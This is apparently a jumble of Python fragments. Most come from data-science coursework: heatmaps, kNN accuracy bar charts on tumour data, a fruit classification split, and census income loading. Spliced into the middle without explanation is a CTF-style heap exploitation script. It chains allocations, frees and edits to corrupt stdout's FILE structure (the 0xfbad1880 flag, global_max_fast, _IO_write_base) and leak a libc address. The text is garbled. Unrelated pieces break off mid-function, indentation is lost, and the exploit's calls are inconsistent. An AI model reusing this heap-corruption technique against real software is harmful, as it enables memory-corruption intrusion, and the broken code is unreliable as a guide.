def GridSearch_Heatmap(scores):
from IPython import get_ipython as ipy
ipy().magic("matplotlib qt5")
import seaborn as sns
import matplotlib.pyplot as plt
plt.figure()
sns.heatmap(scores,
xticklabels=["l1", "l2"],
yticklabels=np.logspace(
-2, 2, 5)) # Assuming scores is in its proper shape.
plt.yticks(rotation=0)
# -*- coding: utf-8 -*-
"""
Created on Sat Sep 15 04:08:48 2018
@author: Jeff, Steven
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from IPython import get_ipython as ipy
ipy().magic("matplotlib qt5")
"""
Part 1: Identifying Clusters and Outliers
"""
colors = ["red", "blue", "green", "orange", "purple", "black", "pink", "white", "white", "white"] # For debug purposes, group into clusters.
np.random.seed(0)
"""
x_val = np.concatenate((np.random.normal(2, 1, 20), np.random.normal(6.5, 1.5, 25), np.random.uniform(0, 10, 10)))
y_val = np.concatenate((np.random.normal(2, 1, 20), np.random.normal(5, 1, 25), np.random.uniform(0, 10, 10)))
"""
# 25 points sample size
# Gridspace is 10x10
"""
x_val = np.concatenate((np.random.uniform(1, 3, 10), np.random.uniform(5, 8, 10), np.random.uniform(0, 10, 5)))
y_val = np.concatenate((np.random.uniform(1.5, 3.5, 10), np.random.uniform(4, 6, 10), np.random.uniform(0, 10, 5)))
"""
x_rand = np.random.randint(1, 3)
def accuracy_plot():
import matplotlib.pyplot as plt
from IPython import get_ipython as ipy
ipy().magic("matplotlib qt5")
X_train, X_test, y_train, y_test = answer_4()
# Find the training and testing accuracies by target value (i.e. malignant, benign)
mal_train_X = X_train[y_train == 0]
mal_train_y = y_train[y_train == 0]
ben_train_X = X_train[y_train == 1]
ben_train_y = y_train[y_train == 1]
mal_test_X = X_test[y_test == 0]
mal_test_y = y_test[y_test == 0]
ben_test_X = X_test[y_test == 1]
ben_test_y = y_test[y_test == 1]
knn = answer_5()
scores = [
knn.score(mal_train_X, mal_train_y),
knn.score(ben_train_X, ben_train_y),
knn.score(mal_test_X, mal_test_y),
knn.score(ben_test_X, ben_test_y)
]
plt.figure()
# Plot the scores as a bar chart
bars = plt.bar(np.arange(4),
scores,
color=['#4c72b0', '#4c72b0', '#55a868', '#55a868'])
# directly label the score onto the bars
for bar in bars:
height = bar.get_height() # ***
plt.gca().text(bar.get_x() + bar.get_width() / 2,
height * .90,
'{0:.{1}f}'.format(height, 2),
ha='center',
color='w',
fontsize=11)
# remove all the ticks (both axes), and tick labels on the Y axis
plt.tick_params(top='off',
bottom='off',
left='off',
right='off',
labelleft='off',
labelbottom='on')
# remove the frame of the chart
for spine in plt.gca().spines.values():
spine.set_visible(False)
plt.xticks([0, 1, 2, 3], [
'Malignant\nTraining', 'Benign\nTraining', 'Malignant\nTest',
'Benign\nTest'
],
alpha=0.8)
plt.title('Training and Test Accuracies for Malignant and Benign Cells',
alpha=0.8)
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 27 12:37:52 2018
@author: Jeff
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
from IPython import get_ipython as ipy
ipy().magic("matplotlib qt5") # Figures pop out in separate windows in Spyder.
fruits = pd.read_table("FruitData.txt") # Reads in text files in table format.
fruits.head()
"""Breaking down Table Components:
- Label numbers for machine supplied by human. Name labels not necessary.
- Actual feature data contains mass, dimensions and *color*.
- Color_scale based on cmap and contains score ranging from 0 to 1.
2 sets for machine: Training set (labelled set) and test set; split dataframe in half.
-train_test_split function randomly shuffles dataset and sorts samples into training and test set.
**Standard split: 75% training, 25% test.
"""
X = fruits[["mass", "width", "height",
"color_score"]] # Used for features of labels (2-D array)
y = fruits["fruit_label"] # Used for labels themselves. (1-D array)
lg('heap', heap)
add('a' * 0x10) #1
add('a' * 0x100) #2
add('a' * 0x100) #3
free(0)
add('a' * 0x80) #4
for i in range(7):
free(0)
free(0)
#flag
stdout = 0xe760
dbg()
ipy()
edit(4, p16(stdout))
free(1)
add('a' * 0x18) #5
free(1)
free(1)
free(1)
edit(5, p64(heap))
add('a' * 0x18)
add('\x80')
pay = p64(0xfbad1880)
add(pay)
#dbg()
free(1)
free(1)
add(1, 0x118)
add(2, 0x98)
add(3, 0x358)
free(1)
edit(2, '\x00' * 0x90 + p64(0x1c0) + '\x60')
free(3)
add(1, 0x118)
add(3, 0x98)
global_max_fast = 0x87f8
write_base_offset = 0x1651
stdout_vtable_offset = 0x17c1
dbg()
ipy() #global_max_fast
payload = p64(0) + p64(write_base_offset) #free size change _IO_write_base
payload = payload.ljust(0xa0, '\x00')
payload += p64(0) + p64(0x361)
payload += p64(0) + p16(global_max_fast - 0x10)
edit(4, payload + '\n')
add(0, 0x358)
context.log_level = 'debug'
free(2)
sl(2)
sl(4)
sl(p64(0) + p64(write_base_offset - 0x20)) #change _IO_read_end
sl(3)
sl(3)
data = ru('\x7f', drop=False)
Looking for an example? Here's what our course assistant put together for the **Ann Arbor, MI, USA** area using **sports and athletics** as the topic. [Example Solution File](./readonly/Assignment4_example.pdf)
"""
"""
1. Region and Domain: Scarborough (Agincourt), ON, Canada; Economic Activity or Measures.
2. Research Question: How does the income distribution vary between the different sections of Scarborough? (2015 data total income group) [Regions: Agincourt, Centre, Guildwood, North, Rouge Park, Southwest]
- Download: http://www12.statcan.gc.ca/census-recensement/2016/dp-pd/prof/search-recherche/results-resultats.cfm?Lang=E&TABID=1&G=1&Geo1=FED&Code1=35096&Geo2=PR&Code2=35&SearchText=Scarborough&SearchType=Begins&wb-srch-place=search
3.
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from IPython import get_ipython as ipy
ipy().magic("matplotlib qt5") # Pop out instead of inline
# Load datafiles into dataframe.
df = pd.DataFrame()
names = ["Agincourt", "Centre", "Guildwood", "North", "RougePark", "Southwest"]
for i in names:
df[i] = pd.read_csv(
"IncomeScarborough" + i + ".csv",
header=None,
index_col=0,
usecols=[1, 3],
squeeze=True,
skiprows=lambda x: x in [i for i in range(51)] + [61],
nrows=13) # Nrows specifies # of rows to read after the skipped rows.
# Usecols is actually called first before index cols, so index_cols refers to the column elements in usecols.
# Squeeze turns the dataframe into a series if possible, so that all files can be stored in one dataframe.